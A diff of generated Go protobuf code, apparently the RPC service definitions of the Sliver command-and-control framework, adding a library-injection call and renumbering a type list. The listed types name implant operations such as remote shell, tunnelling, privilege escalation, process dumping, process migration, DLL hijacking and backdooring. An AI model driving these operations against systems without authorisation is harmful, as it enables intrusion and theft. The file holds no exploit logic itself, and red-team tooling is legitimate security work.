-	0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
-	0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
-	0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76,
-	0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61,
-	0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74,
-	0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
-	0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64,
-	0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
-	0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64,
-	0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73,
-	0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f,
-	0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c,
-	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a,
-	0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e,
-	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73,
-	0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
-	0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47,
-	0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c,
-	0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46,
-	0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73,
-	0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72,
-	0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73,
-	0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e,
-	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73,
-	0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69,
-	0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72,
-	0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e,
-	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65,
-	0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65,
-	0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e,
+	0x72, 0x69, 0x76, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x4c, 0x69, 0x62, 0x49, 0x6e, 0x6a, 0x65, 0x63,
+	0x74, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x62,
+	0x49, 0x6e, 0x6a, 0x65, 0x63, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+	0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x62, 0x49, 0x6e, 0x6a, 0x65, 0x63, 0x74, 0x12, 0x3b,
+	0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e,
+	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73,
+	0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+	0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x50, 0x0a, 0x11, 0x52,
+	0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
+	0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
+	0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71,
+	0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
+	0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a,
+	0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a,
+	0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78,
+	0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
+	0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
+	0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e,
+	0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+	0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52,
+	0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69,
+	0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x4e, 0x0a, 0x12,
+	0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61,
+	0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47,
+	0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74,
+	0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
+	0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11,
+	0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
+	0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50,
+	0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65,
+	0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50,
+	0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47,
+	0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69,
+	0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61,
+	0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+	0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74,
+	0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+	0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65,
+	0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
+	0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f,
+	0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+	0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64,
+	0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+	0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72,
+	0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73,
+	0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+	0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
+	0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+	0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c,
+	0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+	0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c,
+	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07,
+	0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+	0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e,
 	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64,
-	0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50,
-	0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65,
-	0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
-	0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
-	0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65,
-	0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
-	0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
-	0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73,
-	0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
-	0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69,
-	0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28,
-	0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e,
-	0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
-	0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
-	0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65,
-	0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
-	0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
-	0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e,
-	0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
-	0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e,
-	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44,
-	0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74,
-	0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70,
-	0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76,
-	0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e,
-	0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c,
-	0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70,
-	0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
+	0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
+	0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
+	0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b,
+	0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
+	0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
+	0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
+	0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12,
+	0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
+	0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+	0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a,
+	0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e,
+	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a,
+	0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65,
+	0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
+	0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
+	0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
+	0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
+	0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
+	0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+	0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30,
+	0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f,
+	0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63,
+	0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42,
+	0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69,
+	0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70,
+	0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70,
+	0x72, 0x6f, 0x74, 0x6f, 0x33,
 }
 
 var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -522,97 +526,99 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
 	(*sliverpb.SSHCommandReq)(nil),         // 66: sliverpb.SSHCommandReq
 	(*clientpb.DllHijackReq)(nil),          // 67: clientpb.DllHijackReq
 	(*sliverpb.GetPrivsReq)(nil),           // 68: sliverpb.GetPrivsReq
-	(*sliverpb.OpenSession)(nil),           // 69: sliverpb.OpenSession
-	(*sliverpb.RegisterExtensionReq)(nil),  // 70: sliverpb.RegisterExtensionReq
-	(*sliverpb.CallExtensionReq)(nil),      // 71: sliverpb.CallExtensionReq
-	(*sliverpb.ListExtensionsReq)(nil),     // 72: sliverpb.ListExtensionsReq
-	(*sliverpb.WGPortForwardStartReq)(nil), // 73: sliverpb.WGPortForwardStartReq
-	(*sliverpb.WGPortForwardStopReq)(nil),  // 74: sliverpb.WGPortForwardStopReq
-	(*sliverpb.WGSocksStartReq)(nil),       // 75: sliverpb.WGSocksStartReq
-	(*sliverpb.WGSocksStopReq)(nil),        // 76: sliverpb.WGSocksStopReq
-	(*sliverpb.WGTCPForwardersReq)(nil),    // 77: sliverpb.WGTCPForwardersReq
-	(*sliverpb.WGSocksServersReq)(nil),     // 78: sliverpb.WGSocksServersReq
-	(*sliverpb.ShellReq)(nil),              // 79: sliverpb.ShellReq
-	(*sliverpb.PortfwdReq)(nil),            // 80: sliverpb.PortfwdReq
-	(*sliverpb.Socks)(nil),                 // 81: sliverpb.Socks
-	(*sliverpb.SocksData)(nil),             // 82: sliverpb.SocksData
-	(*sliverpb.Tunnel)(nil),                // 83: sliverpb.Tunnel
-	(*sliverpb.TunnelData)(nil),            // 84: sliverpb.TunnelData
-	(*clientpb.Version)(nil),               // 85: clientpb.Version
-	(*clientpb.Operators)(nil),             // 86: clientpb.Operators
-	(*clientpb.Sessions)(nil),              // 87: clientpb.Sessions
-	(*clientpb.Session)(nil),               // 88: clientpb.Session
-	(*clientpb.Beacons)(nil),               // 89: clientpb.Beacons
-	(*clientpb.BeaconTasks)(nil),           // 90: clientpb.BeaconTasks
-	(*commonpb.Response)(nil),              // 91: commonpb.Response
-	(*clientpb.Jobs)(nil),                  // 92: clientpb.Jobs
-	(*clientpb.KillJob)(nil),               // 93: clientpb.KillJob
-	(*clientpb.MTLSListener)(nil),          // 94: clientpb.MTLSListener
-	(*clientpb.WGListener)(nil),            // 95: clientpb.WGListener
-	(*clientpb.DNSListener)(nil),           // 96: clientpb.DNSListener
-	(*clientpb.HTTPListener)(nil),          // 97: clientpb.HTTPListener
-	(*clientpb.StagerListener)(nil),        // 98: clientpb.StagerListener
-	(*clientpb.AllLoot)(nil),               // 99: clientpb.AllLoot
-	(*clientpb.AllHosts)(nil),              // 100: clientpb.AllHosts
-	(*clientpb.Generate)(nil),              // 101: clientpb.Generate
-	(*clientpb.ImplantBuilds)(nil),         // 102: clientpb.ImplantBuilds
-	(*clientpb.Canaries)(nil),              // 103: clientpb.Canaries
-	(*clientpb.WGClientConfig)(nil),        // 104: clientpb.WGClientConfig
-	(*clientpb.UniqueWGIP)(nil),            // 105: clientpb.UniqueWGIP
-	(*clientpb.ImplantProfiles)(nil),       // 106: clientpb.ImplantProfiles
-	(*clientpb.MsfStager)(nil),             // 107: clientpb.MsfStager
-	(*clientpb.ShellcodeRDI)(nil),          // 108: clientpb.ShellcodeRDI
-	(*clientpb.Compiler)(nil),              // 109: clientpb.Compiler
-	(*clientpb.Websites)(nil),              // 110: clientpb.Websites
-	(*sliverpb.Ps)(nil),                    // 111: sliverpb.Ps
-	(*sliverpb.Terminate)(nil),             // 112: sliverpb.Terminate
-	(*sliverpb.Ifconfig)(nil),              // 113: sliverpb.Ifconfig
-	(*sliverpb.Netstat)(nil),               // 114: sliverpb.Netstat
-	(*sliverpb.Ls)(nil),                    // 115: sliverpb.Ls
-	(*sliverpb.Pwd)(nil),                   // 116: sliverpb.Pwd
-	(*sliverpb.Rm)(nil),                    // 117: sliverpb.Rm
-	(*sliverpb.Mkdir)(nil),                 // 118: sliverpb.Mkdir
-	(*sliverpb.Download)(nil),              // 119: sliverpb.Download
-	(*sliverpb.Upload)(nil),                // 120: sliverpb.Upload
-	(*sliverpb.ProcessDump)(nil),           // 121: sliverpb.ProcessDump
-	(*sliverpb.RunAs)(nil),                 // 122: sliverpb.RunAs
-	(*sliverpb.Impersonate)(nil),           // 123: sliverpb.Impersonate
-	(*sliverpb.RevToSelf)(nil),             // 124: sliverpb.RevToSelf
-	(*sliverpb.GetSystem)(nil),             // 125: sliverpb.GetSystem
-	(*sliverpb.Task)(nil),                  // 126: sliverpb.Task
-	(*sliverpb.ExecuteAssembly)(nil),       // 127: sliverpb.ExecuteAssembly
-	(*sliverpb.Migrate)(nil),               // 128: sliverpb.Migrate
-	(*sliverpb.Execute)(nil),               // 129: sliverpb.Execute
-	(*sliverpb.Sideload)(nil),              // 130: sliverpb.Sideload
-	(*sliverpb.SpawnDll)(nil),              // 131: sliverpb.SpawnDll
-	(*sliverpb.Screenshot)(nil),            // 132: sliverpb.Screenshot
-	(*sliverpb.NamedPipes)(nil),            // 133: sliverpb.NamedPipes
-	(*sliverpb.TCPPivot)(nil),              // 134: sliverpb.TCPPivot
-	(*sliverpb.PivotList)(nil),             // 135: sliverpb.PivotList
-	(*sliverpb.ServiceInfo)(nil),           // 136: sliverpb.ServiceInfo
-	(*sliverpb.MakeToken)(nil),             // 137: sliverpb.MakeToken
-	(*sliverpb.EnvInfo)(nil),               // 138: sliverpb.EnvInfo
-	(*sliverpb.SetEnv)(nil),                // 139: sliverpb.SetEnv
-	(*sliverpb.UnsetEnv)(nil),              // 140: sliverpb.UnsetEnv
-	(*sliverpb.Backdoor)(nil),              // 141: sliverpb.Backdoor
